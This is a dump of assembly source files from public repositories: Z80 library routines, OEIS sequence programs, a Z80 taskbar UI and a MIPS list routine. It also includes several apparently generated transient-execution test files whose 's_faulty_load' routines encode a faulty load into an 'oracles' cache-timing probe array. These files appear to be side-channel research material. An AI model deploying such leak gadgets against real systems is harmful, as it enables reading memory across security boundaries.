; go and appending \n\l to the end of the line
;
; Non standard (for short programs)
;
; djm 2/4/99
;
;
; $Id: puts_cons.asm,v 1.5 2016/05/15 20:15:46 dom Exp $
;
SECTION code_clib
PUBLIC puts_cons_native
.puts_cons_native
pop bc
pop hl
push hl
push bc
push ix
ld c,$5c ;PCHARS
rst $10
pop ix
ret
| 14.580645 | 63 | 0.603982 |
8d37a07c78a1394967c86cf620a5701f4f7caf05 | 267 | asm | Assembly | libsrc/_DEVELOPMENT/stdio/c/sdcc_ix/clearerr_unlocked_fastcall.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/stdio/c/sdcc_ix/clearerr_unlocked_fastcall.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/stdio/c/sdcc_ix/clearerr_unlocked_fastcall.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; void clearerr_unlocked_fastcall(FILE *stream)
SECTION code_clib
SECTION code_stdio
PUBLIC _clearerr_unlocked_fastcall
EXTERN asm_clearerr_unlocked
_clearerr_unlocked_fastcall:
push hl
ex (sp),ix
call asm_clearerr_unlocked
pop ix
ret
| 13.35 | 47 | 0.76779 |
8d641dc242419d2f235b1235150a2d9881b3661c | 345 | asm | Assembly | programs/oeis/292/A292543.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/292/A292543.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/292/A292543.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A292543: Number of 5-cycles in the n-Sierpinski tetrahedron graph.
; 0,96,384,1536,6144,24576,98304,393216,1572864,6291456,25165824,100663296,402653184,1610612736,6442450944,25769803776,103079215104,412316860416,1649267441664,6597069766656,26388279066624,105553116266496,422212465065984,1688849860263936
mov $1,4
pow $1,$0
div $1,4
mul $1,96
| 43.125 | 236 | 0.828986 |
0f1f7f711a48aa0770feb9292cfd790c1c6b95eb | 12 | asm | Assembly | src/test/resources/data/searchtests/test4-expected.asm | cpcitor/mdlz80optimizer | 75070d984e1f08474e6d397c7e0eb66d8be0c432 | [
"Apache-2.0"
] | 36 | 2020-06-29T06:52:26.000Z | 2022-02-10T19:41:58.000Z | src/test/resources/data/searchtests/test4-expected.asm | cpcitor/mdlz80optimizer | 75070d984e1f08474e6d397c7e0eb66d8be0c432 | [
"Apache-2.0"
] | 39 | 2020-07-02T18:19:34.000Z | 2022-03-27T18:08:54.000Z | src/test/resources/data/searchtests/test4-expected.asm | cpcitor/mdlz80optimizer | 75070d984e1f08474e6d397c7e0eb66d8be0c432 | [
"Apache-2.0"
] | 7 | 2020-07-02T06:00:05.000Z | 2021-11-28T17:31:13.000Z | ld b, c
| 6 | 11 | 0.333333 |
98300ff766b9a68691756c9a61f9a9f270dbf352 | 440 | asm | Assembly | oeis/270/A270715.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/270/A270715.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/270/A270715.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A270715: a(n) = ((n+2)/2)*Sum_{k=0..n/2}(Sum_{i=0..n-2*k}(binomial(k+1,n-2*k-i)*binomial(k+i,k))/(k+1).
; Submitted by Simon Strandgaard
; 1,3,5,10,19,35,65,120,221,407,749,1378,2535,4663,8577,15776,29017,53371,98165,180554,332091,610811,1123457,2066360,3800629,6990447,12857437,23648514,43496399,80002351,147147265
mov $1,1
mov $2,1
lpb $0
sub $0,1
mov $4,$2
mov $2,$3
add $2,$1
mov $3,$1
add $1,1
add $1,$4
lpe
mov $0,$1
| 25.882353 | 178 | 0.65 |
82ab03b1f6bc9f7ac3726d4d1fe39ca593d70ff6 | 401 | asm | Assembly | programs/oeis/266/A266300.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/266/A266300.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/266/A266300.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A266300: Triangle read by rows giving successive states of cellular automaton generated by "Rule 15" initiated with a single ON (black) cell.
; 1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0
add $0,1
seq $0,48760 ; Largest square <= n.
mod $0,2
| 57.285714 | 201 | 0.61596 |
83b18d0b7a16b8d541d2cca783113a9af180c508 | 5,557 | asm | Assembly | software/obsolete/new-rom/taskbar.asm | Noah1989/micro-21 | f574c3dd089ee93737c8babc6f5eddf85e66987e | [
"MIT"
] | 1 | 2019-05-17T14:43:17.000Z | 2019-05-17T14:43:17.000Z | software/obsolete/new-rom/taskbar.asm | Noah1989/loopmicro | 4d9a49b0aeee1d58aa712c7509cbb46d32477e16 | [
"MIT"
] | null | null | null | software/obsolete/new-rom/taskbar.asm | Noah1989/loopmicro | 4d9a49b0aeee1d58aa712c7509cbb46d32477e16 | [
"MIT"
] | null | null | null | public taskbar_window
extern ui_box_IX_fill_color_L_character_H
extern ui_box_IX_calculate_absolute_position_DE
extern ui_widget_IX_draw
extern ui_label_IX_draw
extern ui_panel_IX_draw
extern ui_window_handle_input_propagate
extern ui_window_handle_input_do_not_propagate
extern ui_window_handle_vsync_noop
extern app_IX_activate
extern help_app
extern memory_app
extern files_app
extern error
include "ui.inc"
include "video_io.inc"
defc taskbar_button_state_normal = 0
defc taskbar_button_state_pressed = 1
defc taskbar_button_state_selected = 2
; taskbar button
defvars ui_widget {
taskbar_button_label ds.w 1
taskbar_button_keycode ds.b 1
taskbar_button_state ds.b 1
taskbar_button_app ds.w 1
taskbar_button
}
defc taskbar_heartbeat_frames = 10
taskbar_handle_vsync:
LD HL, taskbar_heartbeat
DEC (HL)
RET NZ
LD A, taskbar_heartbeat_frames
LD (HL), A
LD IX, taskbar_heartbeat_icon
LD A, (IX+ui_panel_background_color)
XOR A, $07
LD (IX+ui_panel_background_color), A
CALL ui_widget_IX_draw
RET
taskbar_window_IX_handle_input:
; params: E=scancode, D=flags
LD BC, IX
LD HL, ui_window_widgets
ADD HL, BC
taskbar_window_IX_handle_input_next_button:
; get pointer to button from widget list
LD C, (HL)
INC HL
LD B, (HL)
INC HL
; propagate event if none of the buttons matched
LD A, B
OR A, C
JP Z, ui_window_handle_input_propagate
; check button scancode
LD IX, BC
LD A, (IX+taskbar_button_keycode)
CP A, E
JR NZ, taskbar_window_IX_handle_input_next_button
; handle event for found button
BIT 0, D
JR Z, taskbar_button_IX_press
taskbar_button_IX_release:
LD A, (IX+taskbar_button_state)
CP taskbar_button_state_pressed
JP NZ, ui_window_handle_input_do_not_propagate
LD A, 0
LD (taskbar_button_is_pressed), A
; select and draw the button
LD A, taskbar_button_state_selected
LD (IX+taskbar_button_state), A
PUSH IX
CALL ui_widget_IX_draw
POP DE
; check if this button was already selected before
LD HL, (taskbar_selected_button)
XOR A, A ; clears carry flag
SBC HL, DE
JP Z, ui_window_handle_input_do_not_propagate
; if not, deselect and draw the previously selected button
LD IX, (taskbar_selected_button)
LD (taskbar_selected_button), DE
LD A, taskbar_button_state_normal
LD (IX+taskbar_button_state), A
CALL ui_widget_IX_draw
; activate the app for the now selected button
LD IX, (taskbar_selected_button)
LD E, (IX+taskbar_button_app)
LD D, (IX+taskbar_button_app+1)
LD IX, DE
CALL app_IX_activate
JP ui_window_handle_input_do_not_propagate
taskbar_button_IX_press:
LD A, (taskbar_button_is_pressed)
AND A, A
JP NZ, ui_window_handle_input_do_not_propagate
LD A, taskbar_button_state_pressed
CP A, (IX+taskbar_button_state)
JP Z, ui_window_handle_input_do_not_propagate
;LD A, taskbar_button_state_pressed
LD (IX+taskbar_button_state), A
CALL ui_widget_IX_draw
LD A, 1
LD (taskbar_button_is_pressed), A
JP ui_window_handle_input_do_not_propagate
taskbar_button_IX_draw:
LD HL, taskbar_button_colors
LD D, 0
LD E, (IX+taskbar_button_state)
ADD HL, DE
LD L, (HL)
LD H, ' '
CALL ui_box_IX_fill_color_L_character_H
CALL ui_box_IX_calculate_absolute_position_DE
INC E
LD A, E
OUT (video_address_l), A
LD A, D
OUT (video_address_h), A
LD HL, taskbar_button_colors_hotkey
LD D, 0
LD E, (IX+taskbar_button_state)
ADD HL, DE
LD A, (HL)
OUT (video_table_attribute_increment), A
OUT (video_table_attribute_increment), A
LD E, (IX+taskbar_button_label)
LD D, (IX+taskbar_button_label+1)
LD IX, DE
CALL ui_label_IX_draw
RET
section ram_initialized
taskbar_selected_button:
defw taskbar_button_help
taskbar_button_is_pressed:
defb 0
taskbar_heartbeat:
defb taskbar_heartbeat_frames
section objects_mutable
taskbar_button_help:
defb ui_object_type_widget
defb 0, 0
defb 9, 1
defw taskbar_window
defw taskbar_button_IX_draw
defw taskbar_button_help_label
defb $05 ; F1
defb taskbar_button_state_selected
defw help_app
taskbar_button_memory:
defb ui_object_type_widget
defb 9, 0
defb 11, 1
defw taskbar_window
defw taskbar_button_IX_draw
defw taskbar_button_memory_label
defb $06 ; F2
defb taskbar_button_state_normal
defw memory_app
taskbar_button_files:
defb ui_object_type_widget
defb 20, 0
defb 10, 1
defw taskbar_window
defw taskbar_button_IX_draw
defw taskbar_button_files_label
defb $04 ; F3
defb taskbar_button_state_normal
defw files_app
taskbar_heartbeat_icon:
defb ui_object_type_widget
defb 79, 0
defb 1, 1
defw taskbar_window
defw ui_panel_IX_draw
defb $33, $03
section objects_immutable
taskbar_window:
defb ui_object_type_window
defb 0, 29
defb 80, 1
defb $3F, ' '
defw taskbar_window_IX_handle_input
defw taskbar_handle_vsync
defw taskbar_button_help
defw taskbar_button_memory
defw taskbar_button_files
defw taskbar_heartbeat_icon
defw 0
taskbar_button_help_label:
defb ui_object_type_widget
defb 1, 0
defb 7, 1
defw taskbar_button_help
defw ui_label_IX_draw
defw taskbar_button_help_text
taskbar_button_memory_label:
defb ui_object_type_widget
defb 1, 0
defb 9, 1
defw taskbar_button_memory
defw ui_label_IX_draw
defw taskbar_button_memory_text
taskbar_button_files_label:
defb ui_object_type_widget
defb 1, 0
defb 8, 1
defw taskbar_button_files
defw ui_label_IX_draw
defw taskbar_button_files_text
section strings
taskbar_button_help_text:
defb "F1-Help", 0
taskbar_button_memory_text:
defb "F2-Memory", 0
taskbar_button_files_text:
defb "F3-Files", 0
section constants
taskbar_button_colors:
defb $3F ; normal
defb $4F ; pressed
defb $1F ; selected
taskbar_button_colors_hotkey:
defb $3E ; normal
defb $4E ; pressed
defb $1E ; selected
| 22.77459 | 59 | 0.823646 |
66240d764cad3c487f3dcbab70933f9fc5dba444 | 6,412 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_2987_1740.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_2987_1740.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_2987_1740.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r8
push %rax
push %rbp
push %rbx
lea addresses_A_ht+0x13c99, %r11
nop
and %rax, %rax
vmovups (%r11), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $0, %xmm5, %r8
nop
nop
nop
nop
nop
dec %rbp
lea addresses_WC_ht+0x13521, %r10
sub %rbx, %rbx
movw $0x6162, (%r10)
nop
nop
nop
nop
dec %r10
lea addresses_normal_ht+0x14c21, %rbx
nop
nop
add $34846, %r10
movups (%rbx), %xmm2
vpextrq $0, %xmm2, %rax
nop
nop
sub $25292, %rbx
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %r8
push %r9
push %rbp
push %rcx
push %rdx
// Store
lea addresses_A+0x104c9, %r15
nop
nop
add %r8, %r8
mov $0x5152535455565758, %r9
movq %r9, %xmm2
movaps %xmm2, (%r15)
nop
nop
nop
nop
nop
and %r11, %r11
// Load
lea addresses_normal+0xa1c1, %r8
nop
nop
nop
nop
cmp $35764, %rbp
mov (%r8), %r15
nop
nop
nop
nop
inc %r15
// Load
lea addresses_WC+0x14bd9, %r9
nop
nop
nop
nop
nop
add $5569, %rbp
mov (%r9), %rdx
nop
inc %r15
// Load
lea addresses_D+0x1db21, %rbp
nop
nop
nop
nop
nop
cmp $13602, %r8
mov (%rbp), %r11
nop
nop
nop
add %r15, %r15
// Store
lea addresses_normal+0xcc21, %rbp
nop
cmp $60816, %r15
mov $0x5152535455565758, %r9
movq %r9, %xmm5
vmovups %ymm5, (%rbp)
nop
nop
nop
nop
and %r11, %r11
// Load
lea addresses_D+0x1f347, %rdx
and %r11, %r11
mov (%rdx), %r9
nop
dec %rbp
// Store
lea addresses_D+0x1cc91, %r15
clflush (%r15)
nop
nop
cmp $4838, %r11
mov $0x5152535455565758, %r8
movq %r8, %xmm4
vmovntdq %ymm4, (%r15)
nop
nop
nop
nop
and $12644, %r8
// Faulty Load
lea addresses_A+0xec21, %r8
nop
nop
nop
and %r9, %r9
movups (%r8), %xmm2
vpextrq $1, %xmm2, %r15
lea oracles, %rcx
and $0xff, %r15
shlq $12, %r15
mov (%rcx,%r15,1), %r15
pop %rdx
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_A', 'AVXalign': True, 'size': 16}}
{'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_normal', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_WC', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_D', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_normal', 'AVXalign': False, 'size': 32}}
{'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_D', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 4, 'type': 'addresses_D', 'AVXalign': False, 'size': 32}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2}}
{'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'00': 2987}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 33.925926 | 2,999 | 0.651747 |
98d47c391cd94a45964da901b427f898e23e9ce5 | 691 | asm | Assembly | list_reverse.asm | danielzy95/MIPS-Random | d9f8f74bea71d88436a0bc89924ed2d93a1b3e23 | [
"MIT"
] | null | null | null | list_reverse.asm | danielzy95/MIPS-Random | d9f8f74bea71d88436a0bc89924ed2d93a1b3e23 | [
"MIT"
] | null | null | null | list_reverse.asm | danielzy95/MIPS-Random | d9f8f74bea71d88436a0bc89924ed2d93a1b3e23 | [
"MIT"
] | null | null | null | .text
main:
list_reverse:
# Prologue
addi $sp, $sp, -12
sw $ra, 0($sp)
sw $s0, 4($sp)
sw $s1, 8($sp)
move $s0, $a0
jal list_empty
move $a0, $s0
beq $v0, $zero, end_funct
jal list_begin
move $a0, $s0
move $s0, $v0
for:
jal list_end
move $a0, $s0
beq $s1, $v0, post_for
move $a0, $s1
addi $s1, $s1, 4
move $a1, $s1
jal swap
lw $s1, 0($s0)
j for
post_for:
addi $a0, $s0, 4
addi $a1, $s0, 12
jal swap
lw $a0, 4($s0)
lw $a1, 12($s0)
addi $a1, $a1, 4
jal swap
end_funct:
lw $s1, 8($sp)
lw $s0, 4($sp)
lw $ra, 0($sp)
addi $sp,$sp, 12
jr $ra
list_begin:
list_end:
list_empty:
swap:
| 9.732394 | 26 | 0.515195 |
04984199fae8c771a6de042cddbda7c1f96d1df7 | 8,376 | asm | Assembly | Transynther/x86/_processed/NC/_ht_zr_/i7-7700_9_0xca_notsx.log_21829_1584.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_ht_zr_/i7-7700_9_0xca_notsx.log_21829_1584.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_ht_zr_/i7-7700_9_0xca_notsx.log_21829_1584.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0xf0ce, %rsi
lea addresses_UC_ht+0xba4e, %rdi
nop
nop
nop
nop
sub $28615, %rdx
mov $81, %rcx
rep movsb
nop
nop
nop
nop
and $26201, %r10
lea addresses_WT_ht+0xc64e, %rbx
nop
and %rax, %rax
movl $0x61626364, (%rbx)
sub $14293, %rcx
lea addresses_WT_ht+0xf64e, %rcx
nop
nop
cmp $24809, %rbx
movups (%rcx), %xmm4
vpextrq $1, %xmm4, %r10
nop
nop
and %rbx, %rbx
lea addresses_D_ht+0x79b2, %rcx
nop
mfence
mov (%rcx), %ax
nop
nop
nop
dec %rbx
lea addresses_normal_ht+0x1a4e, %rbx
nop
nop
nop
nop
sub %rcx, %rcx
movb (%rbx), %r10b
nop
nop
nop
nop
and %rdx, %rdx
lea addresses_D_ht+0x1c69e, %rsi
lea addresses_A_ht+0x73ee, %rdi
nop
nop
nop
nop
sub $23283, %r10
mov $110, %rcx
rep movsb
nop
nop
nop
cmp %rcx, %rcx
lea addresses_D_ht+0x132, %rdi
nop
nop
nop
nop
nop
and %rbx, %rbx
mov $0x6162636465666768, %rsi
movq %rsi, (%rdi)
nop
nop
sub %rsi, %rsi
lea addresses_A_ht+0x1604e, %rsi
nop
nop
cmp %rdx, %rdx
mov (%rsi), %rax
nop
nop
nop
nop
nop
and $49931, %rdx
lea addresses_WC_ht+0x13b66, %rbx
nop
nop
nop
nop
sub $15890, %rdx
movl $0x61626364, (%rbx)
nop
nop
nop
nop
cmp $53364, %rbx
lea addresses_A_ht+0x17b4e, %rax
nop
xor %r10, %r10
movb (%rax), %bl
nop
cmp $12368, %rax
lea addresses_normal_ht+0x1964e, %r10
nop
nop
nop
nop
nop
xor $51058, %rcx
movb (%r10), %bl
nop
add %rsi, %rsi
lea addresses_WT_ht+0x864e, %rsi
clflush (%rsi)
cmp %r10, %r10
movl $0x61626364, (%rsi)
dec %rcx
lea addresses_A_ht+0x127f8, %rbx
sub %rax, %rax
vmovups (%rbx), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %rdi
nop
nop
add %rsi, %rsi
lea addresses_WT_ht+0x12b9a, %rcx
nop
nop
nop
nop
nop
lfence
movl $0x61626364, (%rcx)
nop
nop
nop
and %rdi, %rdi
lea addresses_A_ht+0x1064e, %rsi
lea addresses_WT_ht+0x1444e, %rdi
nop
nop
nop
nop
nop
sub %r11, %r11
mov $112, %rcx
rep movsq
nop
nop
nop
nop
nop
dec %r10
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r8
push %rbp
push %rbx
push %rdi
push %rdx
// Load
lea addresses_A+0xbff6, %rdi
nop
nop
xor $58415, %rbx
mov (%rdi), %r8w
nop
nop
nop
nop
cmp %rbp, %rbp
// Load
lea addresses_WC+0xda4e, %r13
sub $1749, %rdx
movb (%r13), %r8b
nop
nop
nop
cmp $17344, %rdi
// Load
lea addresses_D+0x1564e, %rbp
xor %r10, %r10
movups (%rbp), %xmm1
vpextrq $0, %xmm1, %r8
and %r13, %r13
// Faulty Load
mov $0x68b81000000024e, %r8
add %rbx, %rbx
vmovups (%r8), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %r13
lea oracles, %r8
and $0xff, %r13
shlq $12, %r13
mov (%r8,%r13,1), %r13
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %r8
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 3, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 11, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 3, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
